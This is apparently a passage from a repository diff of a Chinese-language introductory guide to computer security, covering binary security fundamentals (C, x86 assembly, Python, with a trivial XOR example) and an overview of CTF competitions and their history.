reverse 主要研究软件破解,软件加固,计算机病毒等。
现实场景下,这两种方向通常界限比较模糊,统称的二进制安全主要研究漏洞挖掘,漏洞利用,软件加固,计算机病毒,游戏安全等。
## 学习二进制安全需要具备哪些基础?
- 扎实的 C 语言基础,目前现有的各种二进制分析工具通常都会把汇编代码重新反编译为 C 语言程序。
- 适当的软件开发经验,安全的基础是开发。
- 扎实的汇编语言基础,如果你了解过编译的过程,就会知道现在的编译型语言,如 CC++gorust 等,他们的编译产物通常都是对应架构的二进制程序,而二进制程序是可以直接反汇编成汇编代码的,换句话说,理论上能看懂汇编,就能看懂一切计算机程序。
## 为了打好基础,我应该怎么学?
- C 语言推荐阅读《C Primer Plus》C 语言领域的圣经。二进制对 C 语言的最低要求:熟练地使用链表完成约瑟夫环问题。
- x86 汇编语言推荐阅读王爽的《汇编语言》在本文编辑时已经出到了第四版。x86 是目前最常用的 CPU 架构之一,目前基本上所有的电脑,服务器都采用的 x86 架构。因此在初期的二进制学习中,学习 x86 汇编语言是没有什么问题的。x86 汇编语言历史比较悠久,从 Intel 公司的第一代处理器 8086 采用的 16 位 x86 汇编语言开始,已经逐步发展到现在的 32 位/64 位。王爽的《汇编语言》讲的就是 16 位 x86 汇编语言。可能有人会问,现在学 16 位汇编语言还有什么用吗?其实 x86 的基础命令,对汇编语言来说只是寄存器的命名有所不同,寄存器的宽度也由 16 位升到 32 位再到 64 位而已。比如在 16 位汇编中,加法命令是 `add ax,bx`(意思是 ax=ax+bxax 和 bx 都是 16bit 的寄存器),而到了 32 位汇编中是 `add eax,ebx`64 位汇编中是 `add rax,rbx`。虽然这些语句翻译成字节码是有区别的,但对于汇编语言来说差别并不大,因此由 16 位汇编入门,简单易上手,后面扩展到 32/64 位也很容易,是非常合适的。
- Python 的基本语法Python 之所以没有作为“基础”是因为在二进制安全中Python 由于其简单,开发周期短的特性,往往充当一个锦上添花的工具的角色,比如在做逆向工程领域的研究时,使用 Python 来编写一些加解密脚本要比使用 C 语言快速。感受一下:
```c
#include<stdio.h>
#include<string.h>
int main()
{
char ch[]="hello world";
for(int i=0;i<strlen(ch);i++)
{
putchar(ch[i]^0x33);
}
}
```
```python
print("".join(chr(ord(i)^0x33) for i in "hello world"))
```
但从方便学习的角度考虑,学习 Python 还是非常有好处的,因此学有余力的同学可以多加学习一下这一强大的工具。

View File

@@ -0,0 +1,16 @@
# CTF 信息安全竞赛
## 简介
CTFCapture the Flag),一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。在比赛中,会设定题目,每道题目基本都是由现实环境抽象出来的简单版,通过对题目的攻击或分析,可以拿到一串特定的字符串,即 flag将这串字符串提交即可证明你拿下了这道题目主办方/自动化的比赛平台就会按照一定的规则给予你分数。
## CTF 历史
CTF 的前身是传统黑客之间的网络技术比拼游戏,起源于 1996 年第四届 DEFCON。第一个 CTF 比赛1996 年 - 2001 年),没有明确的比赛规则,没有专业搭建的比赛平台与环境。由参数队伍各自准备比赛目标(自行准备与防守比赛目标,并要尝试攻破对方的比赛目标)。而组织者大都只是一些非专业的志愿者,接受参赛队伍手工计分的请求。
如今的 CTF 俨然成为计算机安全里的一大类重要比赛,已经规模化,由专业队伍承担比赛平台、命题、赛事组织以及自动化积分系统。由传统 CTF 衍生出来的其他比赛形式也层出不穷,如 awd 攻防模式awdp 大规模攻防兼备模式等
## CTF 的一些误区
- 学计算机安全 != 打 CTF。CTF 只是学计算机安全的一个途径或者说捷径,因为 CTF 题目往往是真实场景的抽象。并不是学计算机安全一定就要打 CTF打 CTF 也不一定等同于学会了计算机安全,现代 CTF 的很多技术并不能应用到实战中,不过虽然这么说,但是如果有志于安全研究,从 CTF 开始仍然是一个不错的选择。
- CTF != 电子竞技。CTF 除了 awd 稍微具有那么一点点的观赏性以外其他的毫无观赏性可言。并不像一些影视剧中那样黑客们一脸沉着冷静地敲打着键盘屏幕上的代码飞速滚动过了一会弹出来一个闪烁的大框框“Hacked by XXX”。awd 的观赏性也仅仅架设于当某队伍拿到了另一支队伍的 flag 时,会有动态的效果(如动画等)来显示。

View File

@@ -0,0 +1,5 @@
# 6.计算机安全
> 本模块由 Vidar-Team 信息安全协会倾情奉献
计算机安全,通俗的讲就是黑客,主要研究计算机领域的攻防技术,主要包括网络安全和二进制安全两大类。现有的 CTF 信息安全竞赛里面还会看到密码学和杂项,以及最近几年新兴的 IoT 安全,人工智能安全等。

Binary file not shown.

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 319 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 479 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 301 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 435 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 882 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 477 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 842 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 851 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 836 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 290 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 305 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 532 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 713 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB